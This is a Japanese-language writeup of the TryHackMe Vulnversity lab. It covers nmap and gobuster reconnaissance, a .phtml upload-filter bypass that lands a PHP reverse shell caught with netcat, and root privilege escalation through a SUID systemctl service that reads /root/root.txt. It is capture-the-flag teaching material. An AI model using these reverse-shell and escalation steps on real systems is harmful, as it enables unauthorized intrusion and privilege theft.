TryHackMeのVulnversityのwriteup。 個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。
今回からAttackBoxの使用はやめて、OpenVPNを介して自前のKali Linux (VM)から標的マシンにアクセスすることにした。
TryHackMe環境でのOpenVPNのセットアップについてはこちらとこちらを参照。
Reconnaissance
Scan the box; how many ports are open?
nmap -Pn 10.10.61.144
root@ip-10-10-195-88:~# nmap -Pn 10.10.61.144
Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-11 12:39 GMT
Nmap scan report for ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)
Host is up (0.0013s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3128/tcp open squid-http
3333/tcp open dec-notes
MAC Address: 02:5A:F0:36:F7:39 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
答えは6。
What version of the squid proxy is running on the machine?
nmap -A 10.10.61.144
Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-11 12:41 GMT
Nmap scan report for ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)
Host is up (0.00040s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (EdDSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
MAC Address: 02:5A:F0:36:F7:39 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=3/11%OT=21%CT=1%CU=32658%PV=Y%DS=1%DC=D%G=Y%M=025AF0%T
OS:M=65EEFC0E%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=I%TS=8
OS:)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OPS(O1=M2301ST11NW6%O2=M23
OS:01ST11NW6%O3=M2301NNT11NW6%O4=M2301ST11NW6%O5=M2301ST11NW6%O6=M2301ST11)
OS:WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=
OS:6903%O=M2301NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2024-03-11T08:41:45-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-03-11 12:41:45
|_ start_date: 1600-12-31 23:58:45
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms ip-10-10-61-144.eu-west-1.compute.internal (10.10.61.144)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.53 seconds
上記スキャン結果より、Squidのバージョンは3.5.12
。
3128/tcp open http-proxy Squid http proxy 3.5.12
How many ports will Nmap scan if the flag -p-400 was used?
答えは400。
What is the most likely operating system this machine is running?
nmap -A 10.10.61.144
のスキャン結果より抜粋。
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
答えはUbuntu
。
What port is the web server running on?
nmap -A 10.10.61.144
のスキャン結果より抜粋。
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
答えは3333
What is the flag for enabling verbose mode using Nmap?
-v オプション。
Locating directories using Gobuster
What is the directory that has an upload form page?
gobuster dir -u http://10.10.61.144:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
root@ip-10-10-195-88:~# gobuster dir -u http://10.10.61.144:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.61.144:3333
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/11 13:00:00 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/internal (Status: 301)
===============================================================
2024/03/11 13:00:21 Finished
===============================================================
root@ip-10-10-195-88:~#
答えは/internal/
。
Compromise the Webserver
What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.
答えは.php
Run this attack, what extension is allowed?
先の設問で発見したファイルアップロード用のURL http://10.10.61.144:3333/internal/
に以下の拡張子を持つファイルをアップロードして、アップロードが許可されている拡張子を突き止めよとのこと。
- .php
- .php3
- .php4
- .php5
- .phtml
上記の拡張子を持つファイルを手動でアップロードしたところ、.phtml
拡張子を持つファイルがアップロードに成功した。
What is the name of the user who manages the webserver?
攻撃の前準備として、こちらよりPHPのReverse shell php-reverse-shell.php
をダウンロードする。
php-reverse-shell.php
をテキストエディタで開いて、IPアドレスを自身の攻撃マシンのIPアドレスに変更する。さらにファイルの拡張子を.phtml
に変更する。(php-reverse-shell.php
-> php-reverse-shell.phtml
)
http://10.10.61.144:3333/internal/
にアクセスして、php-reverse-shell.phtml
をアップロードする。
攻撃マシンにて以下のnetcat
コマンドを実行して、Reverse shellからの接続を1234
番ポートにて待ち受ける。
nc -lvnp 1234
続けてhttp://10.10.61.144:3333/internal/uploads/php-reverse-shell.phtml
にアクセスしてReverse shellを起動する。
すると、攻撃マシンの1234
番ポートにてシェルが起動し、標的のwebサーバー上で任意のコマンドを実行できるようになる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.9.221.71] from (UNKNOWN) [10.10.45.98] 59544
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:09:21 up 18 min, 0 users, load average: 0.00, 0.06, 0.21
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
起動したシェルにてwhoami
コマンドを実行。
$ whoami
www-data
しかし、www-data
は正解ではなかった。
試しに/home
を開いてユーザー名を確認してみた。
$ ls /home
bill
正解はbill
だった。
What is the user flag?
/home/bill
にuser.txt
というファイルを発見。このファイルにフラグが記載されていた。
$ ls /home/bill
user.txt
$ cat /home/bill/user.txt
8bd7992fbe8a6ad22a63361<REDACTED>
Privilege Escalation
On the system, search for all SUID files. Which file stands out?
以下のfind
コマンドでSUIDがセットされたバイナリを列挙。
find / -type f -perm -04000 -ls 2>/dev/null
$ find / -type f -perm -04000 -ls 2>/dev/null
402892 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
393361 52 -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
402893 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
393585 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
393363 40 -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
393501 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
406711 24 -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec
393490 40 -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
393424 76 -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
405497 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
406941 100 -rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine
406710 16 -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
405145 420 -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign
393687 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
666971 76 -rwsr-xr-x 1 root root 76408 Jul 17 2019 /usr/lib/squid/pinger
402037 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
402829 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
131164 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
133166 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
131133 40 -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
131148 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
131182 28 -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
131166 648 -rwsr-xr-x 1 root root 659856 Feb 13 2019 /bin/systemctl
131147 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
133163 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
405750 36 -rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs
答えは/bin/systemctl
It's challenge time! We have guided you through this far. Can you exploit this system further to escalate your privileges and get the final answer? Become root and get the last flag (/root/root.txt)
root.txt
のある/root
ディレクトリはroot
ユーザーのみがアクセス可能。
$ ls -la /root
ls: cannot open directory '/root': Permission denied
$
$ ls -ld /root
drwx------ 4 root root 4096 Jul 31 2019 /root
$
先の設問で見つけた/bin/systemctl
を使えばファイルにアクセスできそうである。
シェルにて以下のコマンドを実行した。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
上記のコマンドはcat /root/root.txt > /tmp/output
というコマンドを実行するサービスを作成・起動する。(ほぼ、ここからコピペ)
サービスを起動。
$ systemctl link $TF
$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.vrrEQrSs6E.service to /tmp/tmp.vrrEQrSs6E.service.
$ ls -l /tmp
total 12
-rw-r--r-- 1 root root 33 Mar 12 08:40 output
drwx------ 3 root root 4096 Mar 12 08:33 systemd-private-063097fefe824f59a144389a96b9ee1e-systemd-timesyncd.service-KzMPFv
-rw------- 1 www-data www-data 0 Mar 12 08:37 tmp.vrrEQrSs6E
-rw-rw-rw- 1 www-data www-data 117 Mar 12 08:37 tmp.vrrEQrSs6E.service
$
/tmp
ディレクトリにoutput
というファイルが作成された。このファイルに/root/root.txt
の内容が記載されている。
$ cat /tmp/output
a58ff8579f0a9270368d33a9<REDACTED>